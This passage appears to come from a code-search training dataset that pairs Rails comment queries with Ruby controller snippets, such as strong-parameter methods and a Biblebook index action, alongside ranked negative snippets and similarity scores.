"0.69040203", "0.6899575", "0.6897514", "0.68972784", "0.6893756", "0.6888454", "0.6885055", "0.6883204", "0.6883204", "0.6883204", "0.6880752", "0.68758726", "0.6873416", "0.68724865" ]
0.7848001
0
Use callbacks to share common setup or constraints between actions.
def set_news_topic @news_topic = NewsTopic.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def setup_signals; end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def after_set_callback; end", "def initialize(*args)\n super\n @action = :set\nend", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def around_hooks; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def call\n setup_context\n super\n end", "def duas1(action)\n action.call\n action.call\nend", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163754", "0.6045816", "0.5944853", "0.59169096", "0.58892167", "0.58342934", "0.5776148", "0.57057375", "0.57057375", "0.56534296", "0.56209534", "0.54244673", "0.54101455", "0.54101455", "0.54101455", "0.53951085", "0.5378493", "0.53563684", "0.53399915", "0.5338049", "0.53307265", "0.5312121", "0.5298173", "0.5296388", "0.52952695", "0.5258086", "0.52430934", "0.5237911", "0.5237911", "0.5237911", "0.5237911", "0.5237911", "0.52335346", "0.5232943", "0.5226392", "0.52221715", "0.5217978", "0.52136153", "0.52076435", "0.52067244", "0.5175402", "0.5174649", "0.5173085", "0.5165201", "0.5162052", "0.5157932", "0.5152905", "0.5152353", "0.5150909", "0.514719", "0.5138596", "0.51333916", "0.51139015", "0.5113431", "0.5113431", "0.5109581", "0.51066816", "0.5091428", "0.5089407", "0.5082971", "0.50822043", "0.50668514", "0.5055155", "0.50525695", "0.50499475", "0.50499475", "0.5034445", "0.50249445", "0.5022226", "0.50167644", "0.5014211", "0.4999924", "0.49996212", "0.49978727", "0.4989682", "0.4989682", "0.49851838", "0.49817684", "0.4979687", "0.49787104", "0.49688423", "0.49664098", "0.49564412", "0.49561828", "0.49547398", "0.4953481", "0.4952925", "0.4946049", "0.494379", "0.49319315", "0.49313048", "0.49269778", "0.49263066", "0.49257493", "0.4924526", "0.49212465", "0.49173486", "0.4915802", "0.49151486", "0.49150333", "0.49147308" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def news_topic_params params.require(:news_topic).permit(:title, :context, :short_context, :top_news) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
default to Active Model Serializers
def index respond_with Biblebook.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def serializer; end", "def active_model_serializer\n self.class.active_model_serializer\n end", "def active_model_serializer\n self.class.active_model_serializer\n end", "def active_model_serializer\n self.tire_active_model_serializer || self.class.active_model_serializer\n end", "def default_serializer_options\r\n\t\t{root: false}\r\n\tend", "def default_serializer_options\n {root: false}\n end", "def default_serializer_options\n {root: false}\n end", "def default_serializer_options\n { root: false }\n end", "def default_serializer_options\n {root: false}\n end", "def default_serializer_options\n {\n root: false\n }\n end", "def get_serializer_class\n return self.class.serializer_class\n end", "def _serializer(name)\n self.class.send(:_serializer, name)\n end", "def with_serializer(object, serializer); end", "def serialize(method = :to_json)\n super\n end", "def serializer_class\n \"#{self.class.to_s}Serializer\".constantize\n end", "def serialize_default(object); object; end", "def get_field_deserializers()\n return super.merge({\n })\n end", "def get_field_deserializers()\n return super.merge({\n })\n end", "def get_field_deserializers()\n return super.merge({\n })\n end", "def serializers\n self._additional_serializers # standard:disable Style/RedundantSelf\n end", "def default_serializer_options\n {\n root: false,\n }\n end", "def get_serializer_class\n return self.class.serializer_class || RESTFramework::NativeSerializer\n end", "def serializer_class\n UserSerializer\n end", "def serializer\n return @serializer if defined?(@serializer)\n\n _serializer = injected_options.fetch(:serializer, serializer_class)\n\n @serializer = instantiated_serializer_for(_serializer)\n end", "def serializer\n ArticleSerializer\n end", "def serializer\n ArticleSerializer\n end", "def serializer(params = {})\n self.class.serializer_class.new(self, params:)\n end", "def serialize(model)\n end", "def json_for(obj, options = {})\n options[:scope] ||= self\n options[:url_options] ||= url_options\n ActiveModel::Serializer.serializer_for(obj).new(obj, options).to_json\n end", "def serializer(klass)\n @objects_serializer = klass\n end", "def emit_serializers!( file, model )\n end", "def use_serializer(serializer)\n @serializer = serializer\n end", "def auto_generate_serializer\n model_class = self.class\n @auto_generated_serializer ||=\n Class.new(ActiveModel::Serializer) do\n embed :ids\n attributes(*model_class.column_names.map(&:to_sym))\n model_class.reflections.each_pair do |name, reflection|\n options = reflection.options\n case reflection.macro\n when :has_one, :belongs_to\n has_one name, key: options[:foreign_key], through: options[:through]\n end\n end\n end\n end", "def get_field_deserializers()\n return super.merge({\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"objectId\" => lambda {|n| @object_id_escaped = n.get_string_value() },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n })\n end", "def model_class\n name.sub(/Serializer$/, '').constantize\n end", "def class_serializer(klass)\n path = klass.name.underscore\n serializer = path_to_class(path + '_serializer', Totem::Core::BaseSerializer)\n serializer.root = path\n serializer.send(:include, Totem::Core::Serializers::ActiveModelSerializer)\n serializer\nend", "def json_serialize\n end", "def serializer_class\n BudgetSerializer\n end", "def serializer_class\n AccountSerializer\n end", "def serializers\n @serializers ||= Readthis::Serializers.new\n end", "def serializer(name)\n @_serializer = name <= Malba::Serializer ? name : nil\n end", "def get_field_deserializers()\n return super.merge({\n \"amazonAccountId\" => lambda {|n| @amazon_account_id = n.get_string_value() },\n \"amazonResourceId\" => lambda {|n| @amazon_resource_id = n.get_string_value() },\n \"resourceName\" => lambda {|n| @resource_name = n.get_string_value() },\n \"resourceType\" => lambda {|n| @resource_type = n.get_string_value() },\n })\n end", "def serializer=(_arg0); end", "def get_field_deserializers()\n return super.merge({\n \"applicationName\" => lambda {|n| @application_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"webUrl\" => lambda {|n| @web_url = n.get_string_value() },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"dataType\" => lambda {|n| @data_type = n.get_string_value() },\n \"isSyncedFromOnPremises\" => lambda {|n| @is_synced_from_on_premises = n.get_boolean_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"targetObjects\" => lambda {|n| @target_objects = n.get_collection_of_primitive_values(String) },\n })\n end", "def serialize(serializer = nil, options = {})\n serializer ||= self.class::DEFAULT_SERIALIZER\n serializer.new(self, options: options).attributes\n end", "def serialize_model(model, options = {})\n options[:is_collection] = false\n JSONAPI::Serializer.serialize(model, options)\n end", "def serialize_default(object)\n mongoize(object)\n end", "def get_field_deserializers()\n return super.merge({\n \"isDefault\" => lambda {|n| @is_default = n.get_boolean_value() },\n \"lastModifiedDateTime\" => lambda {|n| @last_modified_date_time = n.get_date_time_value() },\n \"locale\" => lambda {|n| @locale = n.get_string_value() },\n \"messageTemplate\" => lambda {|n| @message_template = n.get_string_value() },\n \"subject\" => lambda {|n| @subject = n.get_string_value() },\n })\n end", "def serializer_for(resource)\n if resource.respond_to?(:to_ary)\n resource.first.class.name\n else\n resource.class.name\n end\n end", "def serialize_model(model, options = {})\n options[:is_collection] = false\n options[:skip_collection_check] = true\n JSONAPI::Serializer.serialize(model, options)\n end", "def serializer_class\n IncomeSerializer\n end", "def serializer_for(renderable, options = {})\n serializer_by_options(options) || serializer_by_renderable(renderable)\n end", "def encode\n raise Errors::SerializerNotConfigured if serializer_missing?\n\n serializer.encode(self)\n end", "def get_field_deserializers()\n return super.merge({\n \"createdBy\" => lambda {|n| @created_by = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::AppIdentity.create_from_discriminator_value(pn) }) },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"tasks\" => lambda {|n| @tasks = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintTask.create_from_discriminator_value(pn) }) },\n })\n end", "def get_field_deserializers()\n return super.merge({\n \"comment\" => lambda {|n| @comment = n.get_string_value() },\n \"createdBy\" => lambda {|n| @created_by = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::IdentitySet.create_from_discriminator_value(pn) }) },\n \"createdDateTime\" => lambda {|n| @created_date_time = n.get_date_time_value() },\n \"items\" => lambda {|n| @items = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::DocumentSetVersionItem.create_from_discriminator_value(pn) }) },\n \"shouldCaptureMinorVersion\" => lambda {|n| 